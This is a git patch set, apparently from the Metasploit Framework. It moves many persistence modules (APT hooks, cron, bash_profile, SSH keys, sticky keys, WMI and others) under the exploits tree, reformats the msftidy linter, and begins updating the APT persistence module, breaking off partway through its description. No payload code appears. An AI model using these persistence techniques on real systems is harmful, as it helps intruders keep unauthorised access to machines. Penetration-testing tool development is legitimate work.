modules/{persistence/unix => exploits/unix/persistence}/at.rb (100%) rename modules/{persistence/windows => exploits/windows/persistence}/persistence.rb (100%) rename modules/{persistence/windows => exploits/windows/persistence}/persistence_exe.rb (100%) rename modules/{persistence/windows => exploits/windows/persistence}/process_exit_debugger.rb (100%) rename modules/{persistence/windows => exploits/windows/persistence}/ps_persist.rb (100%) rename modules/{persistence/windows => exploits/windows/persistence}/registry.rb (100%) rename modules/{persistence/windows => exploits/windows/persistence}/s4u.rb (100%) rename modules/{persistence/windows => exploits/windows/persistence}/service.rb (100%) rename modules/{persistence/windows => exploits/windows/persistence}/sshkey.rb (100%) rename modules/{persistence/windows => exploits/windows/persistence}/sticky_keys.rb (100%) rename modules/{persistence/windows => exploits/windows/persistence}/vss.rb (100%) rename modules/{persistence/windows => exploits/windows/persistence}/wmi.rb (100%) diff --git a/documentation/modules/persistence/linux/apt_package_manager.md b/documentation/modules/exploit/linux/persistence/linux/apt_package_manager.md similarity index 100% rename from documentation/modules/persistence/linux/apt_package_manager.md rename to documentation/modules/exploit/linux/persistence/linux/apt_package_manager.md diff --git a/documentation/modules/persistence/linux/autostart.md b/documentation/modules/exploit/linux/persistence/linux/autostart.md similarity index 100% rename from documentation/modules/persistence/linux/autostart.md rename to documentation/modules/exploit/linux/persistence/linux/autostart.md diff --git a/documentation/modules/persistence/linux/bash_profile.md b/documentation/modules/exploit/linux/persistence/linux/bash_profile.md similarity index 100% rename from documentation/modules/persistence/linux/bash_profile.md rename to documentation/modules/exploit/linux/persistence/linux/bash_profile.md diff --git a/documentation/modules/persistence/linux/cron.md b/documentation/modules/exploit/linux/persistence/linux/cron.md similarity index 100% rename from documentation/modules/persistence/linux/cron.md rename to documentation/modules/exploit/linux/persistence/linux/cron.md diff --git a/documentation/modules/persistence/linux/motd.md b/documentation/modules/exploit/linux/persistence/linux/motd.md similarity index 100% rename from documentation/modules/persistence/linux/motd.md rename to documentation/modules/exploit/linux/persistence/linux/motd.md diff --git a/documentation/modules/persistence/linux/rc_local.md b/documentation/modules/exploit/linux/persistence/linux/rc_local.md similarity index 100% rename from documentation/modules/persistence/linux/rc_local.md rename to documentation/modules/exploit/linux/persistence/linux/rc_local.md diff --git a/documentation/modules/persistence/linux/sshkey.md b/documentation/modules/exploit/linux/persistence/linux/sshkey.md similarity index 100% rename from documentation/modules/persistence/linux/sshkey.md rename to documentation/modules/exploit/linux/persistence/linux/sshkey.md diff --git a/documentation/modules/persistence/linux/yum_package_manager.md b/documentation/modules/exploit/linux/persistence/linux/yum_package_manager.md similarity index 100% rename from documentation/modules/persistence/linux/yum_package_manager.md rename to documentation/modules/exploit/linux/persistence/linux/yum_package_manager.md diff --git a/documentation/modules/persistence/multi/obsidian_plugin.md b/documentation/modules/exploit/multi/persistence/multi/obsidian_plugin.md similarity index 100% rename from documentation/modules/persistence/multi/obsidian_plugin.md rename to documentation/modules/exploit/multi/persistence/multi/obsidian_plugin.md diff --git a/documentation/modules/persistence/unix/at.md b/documentation/modules/exploit/unix/persistence/unix/at.md similarity index 100% rename from documentation/modules/persistence/unix/at.md rename to documentation/modules/exploit/unix/persistence/unix/at.md diff --git a/documentation/modules/persistence/windows/persistence_service.md b/documentation/modules/exploit/windows/persistence/windows/persistence_service.md similarity index 100% rename from documentation/modules/persistence/windows/persistence_service.md rename to documentation/modules/exploit/windows/persistence/windows/persistence_service.md diff --git a/documentation/modules/persistence/windows/process_exit_debugger.md b/documentation/modules/exploit/windows/persistence/windows/process_exit_debugger.md similarity index 100% rename from documentation/modules/persistence/windows/process_exit_debugger.md rename to documentation/modules/exploit/windows/persistence/windows/process_exit_debugger.md diff --git a/documentation/modules/persistence/windows/ps_persist.md b/documentation/modules/exploit/windows/persistence/windows/ps_persist.md similarity index 100% rename from documentation/modules/persistence/windows/ps_persist.md rename to documentation/modules/exploit/windows/persistence/windows/ps_persist.md diff --git a/documentation/modules/persistence/windows/sshkey.md b/documentation/modules/exploit/windows/persistence/windows/sshkey.md similarity index 100% rename from documentation/modules/persistence/windows/sshkey.md rename to documentation/modules/exploit/windows/persistence/windows/sshkey.md diff --git a/modules/persistence/linux/apt_package_manager.rb b/modules/exploits/linux/persistence/apt_package_manager.rb similarity index 100% rename from modules/persistence/linux/apt_package_manager.rb rename to modules/exploits/linux/persistence/apt_package_manager.rb diff --git a/modules/persistence/linux/autostart.rb b/modules/exploits/linux/persistence/autostart.rb similarity index 100% rename from modules/persistence/linux/autostart.rb rename to modules/exploits/linux/persistence/autostart.rb diff --git a/modules/persistence/linux/bash_profile.rb b/modules/exploits/linux/persistence/bash_profile.rb similarity index 100% rename from modules/persistence/linux/bash_profile.rb rename to modules/exploits/linux/persistence/bash_profile.rb diff --git a/modules/persistence/linux/cron.rb b/modules/exploits/linux/persistence/cron.rb similarity index 100% rename from modules/persistence/linux/cron.rb rename to modules/exploits/linux/persistence/cron.rb diff --git a/modules/persistence/linux/motd.rb b/modules/exploits/linux/persistence/motd.rb similarity index 100% rename from modules/persistence/linux/motd.rb rename to modules/exploits/linux/persistence/motd.rb diff --git a/modules/persistence/linux/rc_local.rb b/modules/exploits/linux/persistence/rc_local.rb similarity index 100% rename from modules/persistence/linux/rc_local.rb rename to modules/exploits/linux/persistence/rc_local.rb diff --git a/modules/persistence/linux/service.rb b/modules/exploits/linux/persistence/service.rb similarity index 100% rename from modules/persistence/linux/service.rb rename to modules/exploits/linux/persistence/service.rb diff --git a/modules/persistence/linux/sshkey.rb b/modules/exploits/linux/persistence/sshkey.rb similarity index 100% rename from modules/persistence/linux/sshkey.rb rename to modules/exploits/linux/persistence/sshkey.rb diff --git a/modules/persistence/linux/yum_package_manager.rb b/modules/exploits/linux/persistence/yum_package_manager.rb similarity index 100% rename from modules/persistence/linux/yum_package_manager.rb rename to modules/exploits/linux/persistence/yum_package_manager.rb diff --git a/modules/persistence/multi/obsidian_plugin.rb b/modules/exploits/multi/persistence/obsidian_plugin.rb similarity index 100% rename from modules/persistence/multi/obsidian_plugin.rb rename to modules/exploits/multi/persistence/obsidian_plugin.rb diff --git a/modules/persistence/osx/launch_plist.rb b/modules/exploits/osx/persistence/launch_plist.rb similarity index 100% rename from modules/persistence/osx/launch_plist.rb rename to modules/exploits/osx/persistence/launch_plist.rb diff --git a/modules/persistence/unix/at.rb b/modules/exploits/unix/persistence/at.rb similarity index 100% rename from modules/persistence/unix/at.rb rename to modules/exploits/unix/persistence/at.rb diff --git a/modules/persistence/windows/persistence.rb b/modules/exploits/windows/persistence/persistence.rb similarity index 100% rename from modules/persistence/windows/persistence.rb rename to modules/exploits/windows/persistence/persistence.rb diff --git a/modules/persistence/windows/persistence_exe.rb b/modules/exploits/windows/persistence/persistence_exe.rb similarity index 100% rename from modules/persistence/windows/persistence_exe.rb rename to modules/exploits/windows/persistence/persistence_exe.rb diff --git a/modules/persistence/windows/process_exit_debugger.rb b/modules/exploits/windows/persistence/process_exit_debugger.rb similarity index 100% rename from modules/persistence/windows/process_exit_debugger.rb rename to modules/exploits/windows/persistence/process_exit_debugger.rb diff --git a/modules/persistence/windows/ps_persist.rb b/modules/exploits/windows/persistence/ps_persist.rb similarity index 100% rename from modules/persistence/windows/ps_persist.rb rename to modules/exploits/windows/persistence/ps_persist.rb diff --git a/modules/persistence/windows/registry.rb b/modules/exploits/windows/persistence/registry.rb similarity index 100% rename from modules/persistence/windows/registry.rb rename to modules/exploits/windows/persistence/registry.rb diff --git a/modules/persistence/windows/s4u.rb b/modules/exploits/windows/persistence/s4u.rb similarity index 100% rename from modules/persistence/windows/s4u.rb rename to modules/exploits/windows/persistence/s4u.rb diff --git a/modules/persistence/windows/service.rb b/modules/exploits/windows/persistence/service.rb similarity index 100% rename from modules/persistence/windows/service.rb rename to modules/exploits/windows/persistence/service.rb diff --git a/modules/persistence/windows/sshkey.rb b/modules/exploits/windows/persistence/sshkey.rb similarity index 100% rename from modules/persistence/windows/sshkey.rb rename to modules/exploits/windows/persistence/sshkey.rb diff --git a/modules/persistence/windows/sticky_keys.rb b/modules/exploits/windows/persistence/sticky_keys.rb similarity index 100% rename from modules/persistence/windows/sticky_keys.rb rename to modules/exploits/windows/persistence/sticky_keys.rb diff --git a/modules/persistence/windows/vss.rb b/modules/exploits/windows/persistence/vss.rb similarity index 100% rename from modules/persistence/windows/vss.rb rename to modules/exploits/windows/persistence/vss.rb diff --git a/modules/persistence/windows/wmi.rb b/modules/exploits/windows/persistence/wmi.rb similarity index 100% rename from modules/persistence/windows/wmi.rb rename to modules/exploits/windows/persistence/wmi.rb diff --git a/tools/dev/msftidy.rb b/tools/dev/msftidy.rb index 47fb0fdd0e2b..668d84509c30 100755 --- a/tools/dev/msftidy.rb +++ b/tools/dev/msftidy.rb @@ -20,7 +20,7 @@ if CHECK_OLD_RUBIES require 'rvm' - warn 'This is going to take a while, depending on the number of Rubies you have installed.' + warn "This is going to take a while, depending on the number of Rubies you have installed." end class String @@ -116,7 +116,7 @@ def new_modules_for(commit) diff_summary = raw_diff_summary.lines.map do |line| status, file = line.split(' ').each(&:strip) - { status: status, file: file } + { status: status, file: file} end diff_summary.each_with_object([]) do |summary, acc| @@ -130,23 +130,23 @@ def new_modules_for(commit) class MsftidyRunner # Status codes - OK = 0 - WARNING = 1 - ERROR = 2 + OK = 0 + WARNING = 1 + ERROR = 2 # Some compiles regexes - REGEX_MSF_EXPLOIT = / < Msf::Exploit/ + REGEX_MSF_EXPLOIT = / \< Msf::Exploit/ REGEX_IS_BLANK_OR_END = /^\s*end\s*$/ attr_reader :full_filepath, :source, :stat, :name, :status def initialize(source_file) @full_filepath = source_file - @module_type = File.dirname(File.expand_path(@full_filepath))[%r{/modules/([^/]+)}, 1] - @source = load_file(source_file) - @lines = @source.lines # returns an enumerator - @status = OK - @name = File.basename(source_file) + @module_type = File.dirname(File.expand_path(@full_filepath))[/\/modules\/([^\/]+)/, 1] + @source = load_file(source_file) + @lines = @source.lines # returns an enumerator + @status = OK + @name = File.basename(source_file) end public @@ -158,8 +158,7 @@ def initialize(source_file) # # @return status [Integer] Returns WARNINGS unless we already have an # error. - def warn(txt, line = 0) - line_msg = (line > 0) ? ":#{line}" : '' + def warn(txt, line=0) line_msg = (line>0) ? ":#{line}" : '' puts "#{@full_filepath}#{line_msg} - [#{'WARNING'.yellow}] #{cleanup_text(txt)}" @status = WARNING if @status < WARNING end @@ -170,25 +169,24 @@ def warn(txt, line = 0) # really ought to be fixed. # # @return status [Integer] Returns ERRORS - def error(txt, line = 0) - line_msg = (line > 0) ? ":#{line}" : '' + def error(txt, line=0) + line_msg = (line>0) ? ":#{line}" : '' puts "#{@full_filepath}#{line_msg} - [#{'ERROR'.red}] #{cleanup_text(txt)}" @status = ERROR if @status < ERROR end # Currently unused, but some day msftidy will fix errors for you. - def fixed(txt, line = 0) - line_msg = (line > 0) ? ":#{line}" : '' + def fixed(txt, line=0) + line_msg = (line>0) ? ":#{line}" : '' puts "#{@full_filepath}#{line_msg} - [#{'FIXED'.green}] #{cleanup_text(txt)}" end # # Display an info message. Info messages do not alter the exit status. # - def info(txt, line = 0) + def info(txt, line=0) return if SUPPRESS_INFO_MESSAGES - - line_msg = (line > 0) ? ":#{line}" : '' + line_msg = (line>0) ? ":#{line}" : '' puts "#{@full_filepath}#{line_msg} - [#{'INFO'.cyan}] #{cleanup_text(txt)}" end @@ -200,7 +198,7 @@ def info(txt, line = 0) def check_shebang if @lines.first =~ /^#!/ - warn('Module should not have a #! line') + warn("Module should not have a #! line") end end @@ -212,7 +210,7 @@ def check_shebang # can avoid Nokogiri (most modules use regex anyway), but more complex # checks tends to require Nokogiri for HTML element and value parsing. def check_nokogiri - msg = 'Using Nokogiri in modules can be risky, use REXML instead.' + msg = "Using Nokogiri in modules can be risky, use REXML instead." has_nokogiri = false has_nokogiri_xml_parser = false @lines.each do |line| @@ -229,15 +227,15 @@ def check_nokogiri end def check_ref_identifiers - in_super = false - in_refs = false - in_notes = false + in_super = false + in_refs = false + in_notes = false cve_assigned = false @lines.each do |line| if !in_super and line =~ /\s+super\(/ in_super = true - elsif in_super and line =~ /[[:space:]]*def \w+[(\w+)]*/ + elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/ in_super = false break end @@ -249,47 +247,47 @@ def check_ref_identifiers elsif in_super and line =~ /["']Notes["'][[:space:]]*=>/ in_notes = true elsif in_super and in_refs and line =~ /[^#]+\[[[:space:]]*['"](.+)['"][[:space:]]*,[[:space:]]*['"](.+)['"][[:space:]]*\]/ - identifier = ::Regexp.last_match(1).strip.upcase - value = ::Regexp.last_match(2).strip + identifier = $1.strip.upcase + value = $2.strip case identifier when 'CVE' cve_assigned = true - warn("Invalid CVE format: '#{value}'") if value !~ /^\d{4}-\d{4,}$/ + warn("Invalid CVE format: '#{value}'") if value !~ /^\d{4}\-\d{4,}$/ when 'BID' warn("Invalid BID format: '#{value}'") if value !~ /^\d+$/ when 'MSB' - warn("Invalid MSB format: '#{value}'") if value !~ /^MS\d+-\d+$/ + warn("Invalid MSB format: '#{value}'") if value !~ /^MS\d+\-\d+$/ when 'MIL' - warn('milw0rm references are no longer supported.') + warn("milw0rm references are no longer supported.") when 'EDB' - warn('Invalid EDB reference') if value !~ /^\d+$/ + warn("Invalid EDB reference") if value !~ /^\d+$/ when 'US-CERT-VU' - warn('Invalid US-CERT-VU reference') if value !~ /^\d+$/ + warn("Invalid US-CERT-VU reference") if value !~ /^\d+$/ when 'ZDI' - warn('Invalid ZDI reference') if value !~ /^\d{2}-\d{3,4}$/ + warn("Invalid ZDI reference") if value !~ /^\d{2}-\d{3,4}$/ when 'WPVDB' - warn('Invalid WPVDB reference') if value !~ /^\d+$/ and value !~ /^[0-9a-fA-F]{8}-(?:[0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}?$/ + warn("Invalid WPVDB reference") if value !~ /^\d+$/ and value !~ /^[0-9a-fA-F]{8}-(?:[0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}?$/ when 'PACKETSTORM' - warn('Invalid PACKETSTORM reference') if value !~ /^\d+$/ + warn("Invalid PACKETSTORM reference") if value !~ /^\d+$/ when 'URL' - if value =~ %r{^https?://cvedetails\.com/cve} + if value =~ /^https?:\/\/cvedetails\.com\/cve/ warn("Please use 'CVE' for '#{value}'") elsif value =~ %r{^https?://cve\.mitre\.org/cgi-bin/cvename\.cgi} warn("Please use 'CVE' for '#{value}'") - elsif value =~ %r{^https?://www\.securityfocus\.com/bid/} + elsif value =~ /^https?:\/\/www\.securityfocus\.com\/bid\// warn("Please use 'BID' for '#{value}'") - elsif value =~ %r{^https?://www\.microsoft\.com/technet/security/bulletin/} + elsif value =~ /^https?:\/\/www\.microsoft\.com\/technet\/security\/bulletin\// warn("Please use 'MSB' for '#{value}'") - elsif value =~ %r{^https?://www\.exploit-db\.com/exploits/} + elsif value =~ /^https?:\/\/www\.exploit\-db\.com\/exploits\// warn("Please use 'EDB' for '#{value}'") - elsif value =~ %r{^https?://www\.kb\.cert\.org/vuls/id/} + elsif value =~ /^https?:\/\/www\.kb\.cert\.org\/vuls\/id\// warn("Please use 'US-CERT-VU' for '#{value}'") - elsif value =~ %r{^https?://wpvulndb\.com/vulnerabilities/} + elsif value =~ /^https?:\/\/wpvulndb\.com\/vulnerabilities\// warn("Please use 'WPVDB' for '#{value}'") - elsif value =~ %r{^https?://wpscan\.com/vulnerability/} + elsif value =~ /^https?:\/\/wpscan\.com\/vulnerability\// warn("Please use 'WPVDB' for '#{value}'") - elsif value =~ %r{^https?://(?:[^.]+\.)?packetstormsecurity\.(?:com|net|org)/} + elsif value =~ /^https?:\/\/(?:[^\.]+\.)?packetstormsecurity\.(?:com|net|org)\// warn("Please use 'PACKETSTORM' for '#{value}'") end when 'AKA' @@ -304,8 +302,7 @@ def check_ref_identifiers end # This helps us track when CVEs aren't assigned - # ignore persistence modules since they will rarely if ever have CVEs - if !cve_assigned && is_exploit_module? && @module_type != 'persistence' + if !cve_assigned && is_exploit_module? info('No CVE references found. Please check before you land!') end end @@ -328,7 +325,7 @@ def check_self_class def check_rubygems @lines.each do |line| if line_has_require?(line, 'rubygems') - warn('Explicitly requiring/loading rubygems is not necessary') + warn("Explicitly requiring/loading rubygems is not necessary") break end end @@ -357,17 +354,17 @@ def check_snake_case_filename def check_comment_splat if @source =~ /^# This file is part of the Metasploit Framework and may be subject to/ - warn('Module contains old license comment.') + warn("Module contains old license comment.") end if @source =~ /^# This module requires Metasploit: http:/ - warn('Module license comment link does not use https:// URL scheme.') + warn("Module license comment link does not use https:// URL scheme.") fixed('# This module requires Metasploit: https://metasploit.com/download', 1) end end def check_old_keywords max_count = 10 - counter = 0 + counter = 0 if @source =~ /^##/ @lines.each do |line| # If exists, the $Id$ keyword should appear at the top of the code. @@ -376,7 +373,7 @@ def check_old_keywords break if counter >= max_count if line =~ /^#[[:space:]]*\$Id\$/i - warn('Keyword $Id$ is no longer needed.') + warn("Keyword $Id$ is no longer needed.") break end @@ -385,21 +382,21 @@ def check_old_keywords end if @source =~ /["']Version["'][[:space:]]*=>[[:space:]]*['"]\$Revision\$['"]/ - warn('Keyword $Revision$ is no longer needed.') + warn("Keyword $Revision$ is no longer needed.") end end def check_verbose_option if @source =~ /Opt(Bool|String).new\([[:space:]]*('|")VERBOSE('|")[[:space:]]*,[[:space:]]*\[[[:space:]]*/ - warn('VERBOSE Option is already part of advanced settings, no need to add it manually.') + warn("VERBOSE Option is already part of advanced settings, no need to add it manually.") end end def check_badchars - badchars = %(&<=>) + badchars = %Q|&<=>| - in_super = false - in_author = false + in_super = false + in_author = false @lines.each do |line| # @@ -407,7 +404,7 @@ def check_badchars # if !in_super and line =~ /\s+super\(/ in_super = true - elsif in_super and line =~ /[[:space:]]*def \w+[(\w+)]*/ + elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/ in_super = false break end @@ -417,7 +414,7 @@ def check_badchars # if in_super and line =~ /["']Name["'][[:space:]]*=>[[:space:]]*['|"](.+)['|"]/ # Now we're checking the module titlee - mod_title = ::Regexp.last_match(1) + mod_title = $1 mod_title.each_char do |c| if badchars.include?(c) error("'#{c}' is a bad character in module title.") @@ -440,29 +437,30 @@ def check_badchars in_author = false end + # # While in 'Author' block, check for malformed authors # - next unless in_super and in_author - - if line =~ /Author['"]\s*=>\s*['"](.*)['"],/ - author_name = Regexp.last_match(1) - elsif line =~ /Author/ - author_name = line.scan(/\[[[:space:]]*['"](.+)['"]/).flatten[-1] || '' - else - author_name = line.scan(/['"](.+)['"]/).flatten[-1] || '' - end - - if author_name =~ /^@.+$/ - error('No Twitter handles, please. Try leaving it in a comment instead.') - end + if in_super and in_author + if line =~ /Author['"]\s*=>\s*['"](.*)['"],/ + author_name = Regexp.last_match(1) + elsif line =~ /Author/ + author_name = line.scan(/\[[[:space:]]*['"](.+)['"]/).flatten[-1] || '' + else + author_name = line.scan(/['"](.+)['"]/).flatten[-1] || '' + end - next if author_name.empty? + if author_name =~ /^@.+$/ + error("No Twitter handles, please. Try leaving it in a comment instead.") + end - author_open_brackets = author_name.scan('<').size - author_close_brackets = author_name.scan('>').size - if author_open_brackets != author_close_brackets - error("Author has unbalanced brackets: #{author_name}") + unless author_name.empty? + author_open_brackets = author_name.scan('<').size + author_close_brackets = author_name.scan('>').size + if author_open_brackets != author_close_brackets + error("Author has unbalanced brackets: #{author_name}") + end + end end end end @@ -475,18 +473,17 @@ def check_extname def check_executable if File.executable?(@full_filepath) - error('Module should not be executable (+x)') + error("Module should not be executable (+x)") end end def check_old_rubies return true unless CHECK_OLD_RUBIES return true unless Object.const_defined? :RVM - puts "Checking syntax for #{@name}." rubies ||= RVM.list_strings - res = `rvm all do ruby -c #{@full_filepath}`.split("\n").select { |msg| msg =~ /Syntax OK/ } - error('Fails alternate Ruby version check') if rubies.size != res.size + res = %x{rvm all do ruby -c #{@full_filepath}}.split("\n").select {|msg| msg =~ /Syntax OK/} + error("Fails alternate Ruby version check") if rubies.size != res.size end def is_exploit_module? @@ -499,7 +496,7 @@ def is_exploit_module? msf_exploit_line_no = nil @lines.each_with_index do |line, idx| if line =~ REGEX_MSF_EXPLOIT - # NOTE: the line number + # note the line number msf_exploit_line_no = idx elsif msf_exploit_line_no # check there is anything but empty space between here and the next end @@ -531,9 +528,9 @@ def check_ranking 'ExcellentRanking' ] - if @source =~ /Rank = (\w+)/ - if !available_ranks.include?(::Regexp.last_match(1)) - error("Invalid ranking. You have '#{::Regexp.last_match(1)}'") + if @source =~ /Rank \= (\w+)/ + if not available_ranks.include?($1) + error("Invalid ranking. You have '#{$1}'") end elsif @source =~ /['"](SideEffects|Stability|Reliability)['"]\s*=/ info('No Rank, however SideEffects, Stability, or Reliability are provided') @@ -546,8 +543,8 @@ def check_disclosure_date return if @source =~ /Generic Payload Handler/ # Check disclosure date format - if @source =~ /["']DisclosureDate["'].*=>[\x0d\x20]*['"](.+?)['"]/ - d = ::Regexp.last_match(1) # Captured date + if @source =~ /["']DisclosureDate["'].*\=\>[\x0d\x20]*['\"](.+?)['\"]/ + d = $1 #Captured date # Flag if overall format is wrong if d =~ /^... (?:\d{1,2},? )?\d{4}$/ # Flag if month format is wrong @@ -568,17 +565,17 @@ def check_disclosure_date else error('Incorrect disclosure date format') end - elsif is_exploit_module? - error('Exploit is missing a disclosure date') + else + error('Exploit is missing a disclosure date') if is_exploit_module? end end def check_bad_terms # "Stack overflow" vs "Stack buffer overflow" - See explanation: # http://blogs.technet.com/b/srd/archive/2009/01/28/stack-overflow-stack-exhaustion-not-the-same-as-stack-buffer-overflow.aspx - if @module_type == 'exploits' && @source.gsub("\n", '') =~ /stack[[:space:]]+overflow/i + if @module_type == 'exploits' && @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i warn('Contains "stack overflow" You mean "stack buffer overflow"?') - elsif @module_type == 'auxiliary' && @source.gsub("\n", '') =~ /stack[[:space:]]+overflow/i + elsif @module_type == 'auxiliary' && @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i warn('Contains "stack overflow" You mean "stack exhaustion"?') end end @@ -599,8 +596,7 @@ def check_bad_super_class 'exploits' => /^Msf::Exploit(?:::Local|::Remote)?$/, 'encoders' => /^(?:Msf|Rex)::Encoder/, 'nops' => /^Msf::Nop$/, - 'post' => /^Msf::Post$/, - 'persistence' => /^Msf::Exploit::Local$/ + 'post' => /^Msf::Post$/ } if prefix_super_map.key?(@module_type) @@ -617,7 +613,7 @@ def check_function_basics functions.each do |func_name, args| # Check argument length - args_length = args.split(',').length + args_length = args.split(",").length warn("Poorly designed argument list in '#{func_name}()'. Try a hash.") if args_length > 6 end end @@ -629,13 +625,13 @@ def check_bad_class_name end def check_lines - url_ok = true - no_stdio = true + url_ok = true + no_stdio = true in_comment = false in_literal = false in_heredoc = false - src_ended = false - idx = 0 + src_ended = false + idx = 0 @lines.each do |ln| idx += 1 @@ -651,16 +647,15 @@ def check_lines # block string awareness (ignore indentation in these) in_literal = false if ln =~ /^EOS$/ next if in_literal - - in_literal = true if ln =~ /<<-EOS$/ + in_literal = true if ln =~ /\<\<-EOS$/ # heredoc string awareness (ignore indentation in these) if in_heredoc in_heredoc = false if ln =~ /\s#{in_heredoc}$/ next end - if ln =~ /<<~([A-Z]+)$/ - in_heredoc = ::Regexp.last_match(1) + if ln =~ /\<\<\~([A-Z]+)$/ + in_heredoc = $1 end # ignore stuff after an __END__ line @@ -668,11 +663,11 @@ def check_lines next if src_ended if ln =~ /[ \t]$/ - warn('Spaces at EOL', idx) + warn("Spaces at EOL", idx) end # Check for mixed tab/spaces. Upgrade this to an error() soon. - if (ln.length > 1) and (ln =~ /^([\t ]*)/) and ::Regexp.last_match(1).match(/\x20\x09|\x09\x20/) + if (ln.length > 1) and (ln =~ /^([\t ]*)/) and ($1.match(/\x20\x09|\x09\x20/)) warn("Space-Tab mixed indent: #{ln.inspect}", idx) end @@ -682,15 +677,17 @@ def check_lines end if ln =~ /\r$/ - warn('Carriage return EOL', idx) + warn("Carriage return EOL", idx) end - url_ok = false if ln =~ %r{\.com/projects/Framework} - if ln =~ /File\.open/ and ln =~ /["'][arw]/ && !(ln =~ /["'][wra]\+?b\+?["']/) - warn('File.open without binary mode', idx) + url_ok = false if ln =~ /\.com\/projects\/Framework/ + if ln =~ /File\.open/ and ln =~ /[\"\'][arw]/ + if not ln =~ /[\"\'][wra]\+?b\+?[\"\']/ + warn("File.open without binary mode", idx) + end end - if ln =~ /^[ \t]*load[ \t]+[\x22\x27]/ + if ln =~/^[ \t]*load[ \t]+[\x22\x27]/ error("Loading (not requiring) a file: #{ln.inspect}", idx) end @@ -699,9 +696,8 @@ def check_lines if ln =~ /\$std(?:out|err)/i or ln =~ /[[:space:]]puts/ next if ln =~ /["'][^"']*\$std(?:out|err)[^"']*["']/ - no_stdio = false - error('Writes to stdout', idx) + error("Writes to stdout", idx) end # do not read Set-Cookie header (ignore commented lines) @@ -714,12 +710,14 @@ def check_lines warn("Auxiliary modules have no 'Rank': #{ln}", idx) end - if ln =~ /^\s*def\s+(?:[^()#]*[A-Z]+[^()]*)(?:\(.*\))?$/ + if ln =~ /^\s*def\s+(?:[^\(\)#]*[A-Z]+[^\(\)]*)(?:\(.*\))?$/ warn("Please use snake case on method names: #{ln}", idx) end - if ln =~ (/^\s*fail_with\(/) && !ln =~ (/^\s*fail_with\(.*Failure::(?:None|Unknown|Unreachable|BadConfig|Disconnected|NotFound|UnexpectedReply|TimeoutExpired|UserInterrupt|NoAccess|NoTarget|NotVulnerable|PayloadFailed),/) - error("fail_with requires a valid Failure:: reason as first parameter: #{ln}", idx) + if ln =~ /^\s*fail_with\(/ + unless ln =~ /^\s*fail_with\(.*Failure\:\:(?:None|Unknown|Unreachable|BadConfig|Disconnected|NotFound|UnexpectedReply|TimeoutExpired|UserInterrupt|NoAccess|NoTarget|NotVulnerable|PayloadFailed),/ + error("fail_with requires a valid Failure:: reason as first parameter: #{ln}", idx) + end end if ln =~ /['"]ExitFunction['"]\s*=>/ @@ -730,7 +728,7 @@ def check_lines # Output from Base64.encode64 method contains '\n' new lines # for line wrapping and string termination if ln =~ /Base64\.encode64/ - info('Please use Base64.strict_encode64 instead of Base64.encode64') + info("Please use Base64.strict_encode64 instead of Base64.encode64") end end end @@ -745,9 +743,9 @@ def check_vuln_codes def check_vars_get test = @source.scan(/send_request_cgi\s*\(?\s*\{?\s*['"]uri['"]\s*=>\s*[^=})]*?\?[^,})]+/im) unless test.empty? - test.each do |item| + test.each { |item| warn("Please use vars_get in send_request_cgi: #{item}") - end + } end end @@ -768,11 +766,11 @@ def check_udp_sock_get # This module then got copied and committed 20+ times and is used in numerous other places. # This ensures that this stops. def check_invalid_url_scheme - test = @source.scan(%r{^#.+https?//(?:www\.)?metasploit.com}) + test = @source.scan(/^#.+https?\/\/(?:www\.)?metasploit.com/) unless test.empty? - test.each do |item| + test.each { |item| warn("Invalid URL: #{item}") - end + } end end @@ -909,24 +907,26 @@ def run(dirs, options = {}) rubocop_runner = RuboCopRunner.new dirs.each do |dir| - Find.find(dir) do |full_filepath| - next if full_filepath =~ /\.git[\x5c\x2f]/ - next unless File.file? full_filepath - next unless File.extname(full_filepath) == '.rb' - - msftidy_runner = MsftidyRunner.new(full_filepath) - # Executable files are now assumed to be external modules - # but also check for some content to be sure - next if File.executable?(full_filepath) && msftidy_runner.source =~ /require ["']metasploit["']/ - - msftidy_runner.run_checks - @exit_status = msftidy_runner.status if (msftidy_runner.status > @exit_status.to_i) - - rubocop_result = rubocop_runner.run(full_filepath, options) - @exit_status = MsftidyRunner::ERROR if rubocop_result != RuboCop::CLI::STATUS_SUCCESS + begin + Find.find(dir) do |full_filepath| + next if full_filepath =~ /\.git[\x5c\x2f]/ + next unless File.file? full_filepath + next unless File.extname(full_filepath) == '.rb' + + msftidy_runner = MsftidyRunner.new(full_filepath) + # Executable files are now assumed to be external modules + # but also check for some content to be sure + next if File.executable?(full_filepath) && msftidy_runner.source =~ /require ["']metasploit["']/ + + msftidy_runner.run_checks + @exit_status = msftidy_runner.status if (msftidy_runner.status > @exit_status.to_i) + + rubocop_result = rubocop_runner.run(full_filepath, options) + @exit_status = MsftidyRunner::ERROR if rubocop_result != RuboCop::CLI::STATUS_SUCCESS + end + rescue Errno::ENOENT + $stderr.puts "#{File.basename(__FILE__)}: #{dir}: No such file or directory" end - rescue Errno::ENOENT - warn "#{File.basename(__FILE__)}: #{dir}: No such file or directory" end @exit_status.to_i @@ -961,7 +961,7 @@ def run(dirs, options = {}) dirs = ARGV if dirs.length < 1 - warn options_parser.help + $stderr.puts options_parser.help @exit_status = 1 exit(@exit_status) end From 9b7cc8f3271bd3ef3b17d617c5b995f68c3b5e67 Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 20 Jan 2025 06:48:07 -0500 Subject: [PATCH 06/94] modernization, updates, testing of apt_package_manager --- .../linux/persistence/apt_package_manager.rb | 64 ++++++++++++------- 1 file changed, 42 insertions(+), 22 deletions(-) diff --git a/modules/exploits/linux/persistence/apt_package_manager.rb b/modules/exploits/linux/persistence/apt_package_manager.rb index 28e451a7dfbd..3982c4b3faf0 100644 --- a/modules/exploits/linux/persistence/apt_package_manager.rb +++ b/modules/exploits/linux/persistence/apt_package_manager.rb @@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Linux::System + prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'exploits/linux/local/apt_package_manager_persistence' @@ -18,10 +19,13 @@ def initialize(info = {}) info, 'Name' => 'APT Package Manager Persistence', 'Description' => %q{ - This module will run a payload when the package manager is used. No - handler is ran automatically so you must configure an appropriate - exploit/multi/handler to connect. This module creates a pre-invoke hook - for 